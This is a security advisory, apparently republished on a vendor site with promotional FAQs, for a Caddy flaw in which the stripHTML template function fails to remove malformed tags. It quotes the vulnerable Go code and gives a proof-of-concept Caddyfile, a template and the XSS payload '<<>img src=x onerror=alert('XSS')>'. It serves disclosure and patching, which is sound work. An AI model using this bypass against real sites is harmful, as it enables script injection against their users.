Summary
Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.
Details
The vulnerability originates from funcStripHTML in:
caddy/caddy/caddyhttp/templates/tplcontext.go
func (TemplateContext) funcStripHTML(s string) string {
var buf bytes.Buffer
var inTag, inQuotes bool
var tagStart int
for i, ch := range s {
if inTag {
if ch == '>' && !inQuotes {
inTag = false
} else if ch == '<' && !inQuotes {
// false start
buf.WriteString(s[tagStart:i])
tagStart = i
} else if ch == '"' {
inQuotes = !inQuotes
}
continue
}
if ch == '<' {
inTag = true
tagStart = i
continue
}
buf.WriteRune(ch)
}
if inTag {
// false start
buf.WriteString(s[tagStart:])
}
return buf.String()
}
POC
Caddyfile setup
:8080 {
root * ./site
file_server
templates
}
Template file (index.html)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>StripHTML Bypass Test</title>
</head>
<body>
<p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>
The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.
Tested in v2.11.3
AI Disclosure
AI assisted in writing the report description; however, the discovery of the issue has been done manually.
Impact
Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.
CVE-2026-52846 has a CVSS score of 4.2 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-52846? CVE-2026-52846 is a medium-severity security vulnerability in github.com/caddyserver/caddy/v2 (go), affecting versions <= 2.11.3. It is fixed in 2.11.4.
- How severe is CVE-2026-52846? CVE-2026-52846 has a CVSS score of 4.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-52846?
github.com/caddyserver/caddy/v2(go) (versions <= 2.11.3)github.com/caddyserver/caddy(go) (versions <= 1.0.5)
- Is there a fix for CVE-2026-52846? Yes. CVE-2026-52846 is fixed in 2.11.4. Upgrade to this version or later.
- Is CVE-2026-52846 exploitable, and should I be worried? Whether CVE-2026-52846 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52846 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-52846? Upgrade
github.com/caddyserver/caddy/v2to 2.11.4 or later.